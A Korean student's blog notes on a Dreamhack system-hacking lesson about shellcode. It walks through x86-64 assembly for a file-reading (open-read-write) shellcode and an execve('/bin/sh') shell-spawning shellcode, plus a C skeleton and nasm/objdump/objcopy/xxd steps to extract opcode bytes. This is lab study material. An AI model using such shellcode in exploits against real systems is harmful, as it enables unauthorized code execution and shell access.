[Dreamhack - System Hacking] STAGE 4 : Exploit Tech: Shellcode

eunee22·2023년 7월 6일

Dreamhack/SystemHacking

목록 보기
9/12

익스플로잇(Exploit)

  • 상대방의 시스템을 공격하는 것

셸코드(Shellcode)

  • 익스플로잇을 위해 제작된 어셈블리 코드 조각
  • 공격을 위해 실행시키고자 하는 코드 라고 생각할 수 있음
  • rip를 쉘코드로 옮기는 등의 위험행위를 통해 원하는 명령을 CPU에 내리는 등 나쁜 행동들이 가능해짐

1. orw 셸코드

  • 파일을 열고 읽은 뒤 화면에 출력해주는 셸코드

“/tmp/flag” 를 읽는 셸코드 작성 하기

// 구현하려는 셸코드의 의사코드

char buf[0x30]; // 파일의 내용을 읽고 저장하기 위한 배열 선언

int fd = open("/tmp/flag", RD_ONLY, NULL); 
/* /tmp/flag 파일을 읽기 전용으로 열어 성공적으로 반환시 fd에 파일 디스크립터 저장, 
그렇지 않으면 음수 저장 */
read(fd, buf, 0x30); // fd에 저장된 파일에 접근 하여 0x30 만큼 buf에 저장
write(1, buf, 0x30); // stdout, 즉 표준 출력으로 buf에 저장된 값 0x30 만큼 출력
  • C언어의 open 함수참고자료
    • open(const char* FilePath, int OpenMode, mode_t mode)
    • 성공적으로 반환시 파일 디스크립터, 실패시 음수를 반환
    1. const char* FilePath → 파일 경로를 명시해줌
    2. int OpenMode → 파일을 어떤 권한으로 열지 명시
      • O_RDONLY : 읽기 전용으로 열기
      • O_WRONLY : 쓰기 전용으로 열기
      • O_RDWR : 읽기와 쓰기 모두 가능
    3. mode_t mode → 다양한 옵션
; int fd = open("/tmp/flag", RD_ONLY, NULL); 어셈블리로 구현

push 0x67
; 8byte 단위로만 push가 가능하므로 "g" 부분을 먼저 push
mov rax, 0x616c662f706d742f 
; rax = "/tmp/fla"
; 리틀 앤디안 방식을 고려하여, 읽어야함을 주의
push rax ; 나머지 문자열이 담긴 rax를 push
mov rdi, rsp    
; rdi = "/tmp/flag"
; rdi가 이 문자열을 가르키도록 rsp를 옮김
xor rsi, rsi    
; 본인을 xor 연산한 결과는 0 
; rsi = 0 ; RD_ONLY
; O_WRONLY = 1, O_RDWR = 2 이다.
xor rdx, rdx 
; 본인을 xor 연산한 결과는 0    
; rdx = 0
; NULL로 지정되어 있는 매개변수 이므로
mov rax, 2      
; rax = 2 ; syscall_open
syscall         
; open("/tmp/flag", RD_ONLY, NULL)
; read(fd, buf, 0x30); 어셈블리어로 구현

mov rdi, rax      
; rdi = fd
; syscall의 반환값은 rax에 저장되므로 open으로 획득한 "/tmp/flag" 의 fd는 rax에 저장되어 있음.
mov rsi, rsp
; rsi = rsp 
sub rsi, 0x30     
; rsi = rsp-0x30 ; buf
; rsi는 파일에서 읽은 데이터를 저장할 주소
mov rdx, 0x30     
; rdx = 0x30     ; len
; 파일로 부터 읽어낼 데이터의 길이
mov rax, 0x0      
; rax = 0        ; syscall_read
syscall           
; read(fd, buf, 0x30)
  • fd (File Discriptor) 란? → 참고한 글
    • 리눅스, 유닉스에서는 시스템을 전부 파일로 처리하여 관리
    • 이때, 프로세스가 파일에 접근할 수 있도록 하는 가상의 접근 제어자(핸들)
    • 프로세스 마다 고유의 fd 테이블을 가지고 그 안에 fd를 저장
    • fd는 각각 번호로 구분
      • 우리가 생성하는 fd는 기본 fd 이후인 3번부터 할당
    • 기본 할당 fd → 프로세스와 터미널을 연결해줌
      일반 입력(Standard Input, STDIN)0번
      일반 출력(Standard Output, STDOUT)1번
      일반 오류(Standard Error, STDERR)2번
; write(1, buf, 0x30); 어셈블리어로 구현

mov rdi, 1        
; rdi = 1 ; fd = stdout
mov rax, 0x1      
; rax = 1 ; syscall_write
syscall           
; rdi, rdx는 read에서 사용한 값 그대로 사용
; write(fd, buf, 0x30)

orw 셸코드 컴파일 및 실행

  • 리눅스의 ELF(Executable and Linkable Format)
    • 헤더 → 실행에 필요한 여러정보
    • 코드 → 기계어 코드
    • 기타 데이터
    • 우리가 작성한 어셈블리어 셸코드를 ELF 형식으로 변형해야 리눅스에서 실행 가능 → gcc 컴파일 필요
      • 기계어 치환 시 CPU가 이해할 수는 있음
  • 셸코드를 실행할 수 있는 c언어 스켈레톤 코드
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)");

void run_sh();
int main() { run_sh(); }
  • 컴파일과 실행
  1. echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
    • flag{this_is_open_read_write_shellcode!} 라는 문자열을 출력한 결과를 /tmp/flag 에 저장
  2. gcc -o orw orw.c -masm=intel
    • 앞에서 작성한 /tmp/flag 를 읽는 셸코드를 스켈레톤 코드 sh-skeleton.c 에 넣어서 실행 가능한 셸코드로 만든 파일 orw.c
    • orw.c 파일의 실행 파일명 orw
  3. ./orw
    컴파일 한 결과로 나온 실행 파일을 실행
    • -masm=intel 이란? 참고한 글
      • c코드에 어셈블리 코드를 직접 넣을 경우에, X86 assembly의 원하는 형식(intel / AT&T 방식 중 하나)을 해석할 수 있도록 추가하는 옵션
      • gcc로 어셈블리어로 적힌 파일을 만들 때에도 intel 방식일 경우 명시해야함.
    • 위에서 작성된 셸코드를 gdb(GNU Debugger)를 통해 브레이크 포인트를 설정해 가며 동작을 분석할 수 있음

초기화되지 않은 메모리 영역 사용

  • 위에서 출력 결과를 보면 “/tmp/flag”의 값 외의 알 수 없는 값 출력
  • 각 함수는 자신의 스택 프레임을 할당해서 사용 후 종료시 해제
    • 스택에서의 해제는 rsp rbp를 호출한 함수의 것으로 단순 이동하는 것
    • 사용 영역을 0으로 초기화 하는게 아님
    • 그렇기 때문에 같은 영역에 다른 함수가 스택 프레임을 할당하면 이전 스택 프레임의 데이터(쓰레기값 - garbage data)는 여전히 그 영역에 존재
  • 메모리 릭(Memory Leak)
    • 메모리 값을 유출하는 기법
    • 위와 같은 상황에서 쓰레기값 중요한 값일 때는 큰 문제가 발생할 수 있음
    • 개발에서는 메모리에 올라간 데이터가 쓸모없어지는 시점에서 적절히 제거되지 않은 경우를 말한다.
      참고하면 좋을 문서

2. execve 셸코드

셸 (Shell) : 운영체제에 명령을 내리기 위해 사용되는 UI

  • 셸 획득시 시스템 제어 가능

커널 (Kernel) : 운영체제의 핵심 기능을 하는 프로그램


execve 셸코드 : 임의의 프로그램을 실행하는 셸코드

  • 이를 이용해 서버의 셸 획득 가능

  • 리눅스는 sh, bash를 기본 셸로 탑재

  • execve 시스템 콜만으로 구성

    syscallraxarg0 (rdi)arg1 (rsi)arg2 (rdx)
    execve0x3bconst char *filenameconst char const argvconst char const envp

// sh 셸을 실행하는 셸코드 

execve(/bin/sh”, null, null)
  • /bin/ 디렉토리 → 참고한 글
    • binary의 약자로 실행파일의 모음
    • 리눅스가 돌아가기 위한 최소로 필요한 프로그램 보관
    • 여러 기본 명령어들도 위치하고 있음
;Name: execve.S

mov rax, 0x68732f6e69622f
; rax = /bin/sh
push rax
; rax를 스택에 push함
mov rdi, rsp  
; rsp를 rdi로 옮긴다. stack의 top역할을 하는 rsp는 "/bin/sh"를 가르키고 있음 
; rdi = "/bin/sh"
xor rsi, rsi
; 본인을 xor 연산한 결과는 0  
; rsi = NULL
xor rdx, rdx  
; 본인을 xor 연산한 결과는 0 
; rdx = NULL
mov rax, 0x3b 
; syscall중에서 execve를 불러오는 rax 값
syscall       
; execve("/bin/sh", null, null)
  • 컴파일과 실행
    • 이전에 만들어 두었던 스켈레톤 코드에 위의 셸코드를 넣고 컴파일 해준다. → gcc -o execve execve.c -masm=intel
    • 처음에는 execve 파일 실행 후 현재 실행 중인 셸을 출력했을 때 아무것도 나오지 않아서 실패한줄 알았는데, 이글을 보고 $ 모양이 /bin/sh 쉘로 로그인 했을 때 나타나는 모양임을 알아서 성공 했구나 싶었다.
      그러나 아직도 왜 echo로 쉘 출력시 /bin/sh가 뜨지 않는지 모르겠다

hellcode를 bytecode(opcode) 형태의 코드로 추출하기

  • objdump를 이용하여 추출할 수 있다.
    • objdump : 바이너리 파일들의 정보를 보여주는 프로그램으로 디스어셈블러로 사용 가능하다.

  • 예시 → shellcode.asmbinary 파일로 추출하기
; File name: shellcode.asm

section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb

위의 셸코드를 bytecode 형태로 추출해보자.

1. nasm을 설치sudo apt-get install nasm
나는 이미 설치가 되어 있기 때문에 다음과 같이 뜬다.

  • nasm 이란?
    • 어셈블러 중 하나
  • sudo 란? 참고한 글
    • 현재 계정에서 root 권한을 이용하여 명령어를 실행 하기 위해 사용
    • 명령어를 입력했을 때, 권한에 대한 오류가 나온다면 (ex. permission denied) sudo를 입력함으로써 해결되는 경우가 많음. → 다른 글로 자세히 다루어 보겠다

2. shellcode.asm 파일을 elf 형식으로 되어 있는 목적파일로 바꾸어준다.
nasm -f elf shellcode.asm
이전과 다르게 shellcode.o가 생긴것을 볼 수 있다.
우리가 위에서 사용한 -f 옵션의 역할을 메뉴얼에서 찾아볼 수 있다.

3. shellcode.asm 파일을 디스어셈블
objdump -d shellcode.o

4. shellcode.o 파일의 ./text section 부분을 복사하여 shellcode.bin 파일에 저장
objcopy --dump-section .text=shellcode.bin shellcode.o
이전과 다르게 shellcode.bin 파일이 생성됨을 볼 수 있다.

  • objcopy 명령어 -> 참고한 글
    • 오브젝트 파일을 다른 오브젝트 파일로 복사 할때 사용
    • 선택적으로 필요한 부분만 복사 가능
      → 파일 사이즈 감소, 바이너리 포맷 변경

5. 파일을 hexdump로 출력
xxd shellcode.bin

  • xxd 명령어 → 참고한 글
    • 파일을 hexdump(컴퓨터의 데이터를 16진수로 표시) 형태로 보여주거나, 그 반대로 보여줄수 있는 명령
    • 바이너리 파일 혹은 파일을 vicat 명령어로 열어서 보면, 아스키에 포함되어 있지 않는 값들은 깨진문자로 보임. 이를 자세히 파악하기 위해서 형태를 변환할 때 사용한다.

6. 셸코드만 뽑아낸 파일 만들기

profile
보안 공부하는 대학교 4학년 / 시리즈에서 더욱 편하게 글을 찾아보실 수 있습니다:)

0개의 댓글